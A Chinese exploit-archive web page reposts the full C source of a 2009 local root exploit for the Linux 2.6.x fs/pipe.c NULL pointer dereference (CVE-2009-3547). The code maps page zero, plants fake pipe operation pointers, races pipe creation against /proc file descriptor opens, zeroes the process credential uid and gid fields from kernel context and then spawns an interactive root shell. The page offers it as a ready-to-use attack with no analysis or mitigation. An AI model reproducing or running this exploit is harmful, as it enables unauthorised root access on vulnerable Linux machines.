首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Linux 2.6.31 fs/pipe.c local root exploit (CVE-2009-3547)
来源:teach@vxhell.org 作者:teach 发布时间:2009-11-09  

/******************************************************************************
 *                            .:: Impel Down ::.
 *
 *     Linux 2.6.x fs/pipe.c local kernel root(kit?) exploit (x86)
 *                              by teach & xipe
 *    Greetz goes to all our mates from #nibbles, #oldschool and #carib0u
 *    (hehe guyz, we would probably be high profile and mediatised el8 if we
 *    lost less time on trolling all day long, but we LOVE IT :)))
 *    Special thanks to Ivanlef0u, j0rn & pouik for being such amazing (but i
 *    promise ivan, one day i'll kill u :p)
 *               
 * (C) COPYRIGHT teach & xipe, 2009
 * All Rights Reserved
 *
 * teach@vxhell.org
 * xipe@vxhell.org
 *   
 *******************************************************************************/

#include <fcntl.h>
#include <sys/mman.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <sys/mman.h>
#include <syscall.h>
#include <stdint.h>

#define PIPE_BUFFERS (16)

struct pipe_buf_operations {
        int can_merge;
 int *ops[10];
};

struct pipe_buffer {
        int *page;
        unsigned int offset, len;
        const struct pipe_buf_operations *ops;
        unsigned int flags;
        unsigned long private;
};

struct pseudo_pipe_inode_info
{
 /* Wait queue head */
   /* spinlock */
  int spinlock;
  /* list */
  int *next, *prev;
 unsigned int nrbufs, curbuf;
 int *page;
 unsigned int readers;
 unsigned int writers;
 unsigned int waiting_writers;
 unsigned int r_counter;
 unsigned int w_counter;
 int *async_readers;
 int *async_writers;
 int *inode;
 struct pipe_buffer bufs[PIPE_BUFFERS];
};

static pid_t uid;
static gid_t gid;
unsigned long taskstruct[1024];

static inline void *get_stack_top()
{
 void *stack;

 __asm__ __volatile__ (
 "movl $0xffffe000,%%eax ;"
 "andl %%esp, %%eax ;"
 "movl %%eax, %0 ;"
 : "=r" (stack)
 );
 return stack;
}

static inline void *get_current()
{
 return *(void **)get_stack_top();
}

static void update_cred()
{
 uint32_t i;
 uint32_t *task = get_current(); /* Pointer to the task_struct */
 uint32_t  *cred = 0;
 
 for (i = 0; i < 1024; i++)
 {
  taskstruct[i] = task[i];
  cred = (uint32_t *)task[i];
  if (cred == (uint32_t *)task[i+1] && cred > (uint32_t *)0xc0000000) {
   cred++; /* Get ride of the cred's 'usage' field */
          if (cred[0] == uid && cred[1] == gid
              && cred[2] == uid && cred[3] == gid
              && cred[4] == uid && cred[5] == gid
              && cred[6] == uid && cred[7] == gid)
          {
    /* Get root */
            cred[0] = cred[2] = cred[4] = cred[6] = 0;
                  cred[1] = cred[3] = cred[5] = cred[7] = 0;
    break;
          }
  }
 }
}

int is_done(int new)
{
 static int done = 0;
 if (done == 1)
  return (1);
 done = new;
}

volatile int done = 0;
void kernel_code()
{
 is_done(1);
 update_cred();
 //exit_kernel();
}

int main(int ac, char **av)
{
 int fd[2];
 int pid;
 int parent_pid = getpid();
 char *buf;
 int i,j;
 struct pseudo_pipe_inode_info  *pinfo = 0;
 struct pipe_buf_operations ops; 

 buf = mmap(0, 0x1000, PROT_READ | PROT_EXEC | PROT_WRITE, MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS, 0, 0);

 printf ("buf: %p\n", buf);

 pinfo->readers = 0;
 pinfo->writers = 0;

 for (i = 0; i < 10; i++)
  ops.ops[i] = (int *)kernel_code;

 for (i = 0; i < PIPE_BUFFERS; i++)
 {
  pinfo->bufs[i].ops = &ops;
 }

 i = 0;


 uid = getuid();
 gid = getgid();
 setresuid(uid, uid, uid);
 setresgid(gid, gid, gid);
 //while (1)
 {
  pid = fork();
  if (pid == -1)
  {
   perror("fork");
   return (-1);
  }
  if (pid)
  {
   char path[1024];
   char c;
   /* I assume next opened fd will be 4 */
   sprintf(path, "/proc/%d/fd/4", pid);
          printf("Parent: %d\nChild: %d\n", parent_pid, pid); 
   while (!is_done(0))
   {
    fd[0] = open(path, O_RDWR);
    if (fd[0] != -1)
    {
     close(fd[0]);
    }
   }
   //system("/bin/sh");
   execl("/bin/sh", "/bin/sh", "-i", NULL);
   return (0);
  }
 
  while (!is_done(0))
  {
   if (pipe(fd) != -1)
   {
    close(fd[0]);
    close(fd[1]);
   }
  }
 }
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Linux 2.6.x fs/pipe.c local ro
·Linux Kernel 'pipe.c' Local Pr
·Internet Explorer DoS Exploit
·This is a proof of concept exp
·Safari 4.0.3 (Win32) CSS Remot
·E-doo music get shell Vulnerab
·Blender .blend Project Arbitra
·Remote buffer overflow exploit
·Mac OS X 10.5.6/10.5.7 ptrace(
·Windows 7 / Server 2008R2 Remo
·PunBB Extension Attachment ver
·Xion Audio Player version 1.0
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved